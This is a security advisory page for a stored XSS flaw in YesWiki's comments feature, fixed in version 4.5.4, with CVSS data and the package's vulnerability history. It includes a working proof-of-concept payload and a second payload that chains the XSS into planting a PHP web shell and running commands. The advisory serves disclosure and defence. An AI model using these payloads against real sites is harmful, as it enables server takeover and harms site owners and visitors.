YesWiki Stored XSS Vulnerability in Comments
Summary
A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.
The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like /* JavaScriptPayload */.
PoC
Navigate to a site and page that allows comments and place this in the comments section and submit it:
/*<script>alert('pizzapower')</script>*/
Upon submitting to the page, it will run. And then upon every page visit, it will run.
Impact
An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.:
/*<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>*/Then you can visit http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id and see the output of the ID command.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | yeswiki/yeswiki | < 4.5.4 | 4.5.4 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P- Debilidad (CWE)
CWE-79- Plataforma
- Composer
- Paquete
yeswiki/yeswiki- Publicada
- 29.04.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-59x8-cvxh-3mm4 - CC BY 4.0
Historial de vulnerabilidades: yeswiki/yeswiki
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 31
- Primera → última
- 03.2022 07.2026
- Sin corrección
- 2
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 5
- Alta 16
- Media 8
- Baja 2
Divulgaciones por año
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 12
- 2026: 17
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YesWiki Stored XSS Vulnerability in Comments esta entrada
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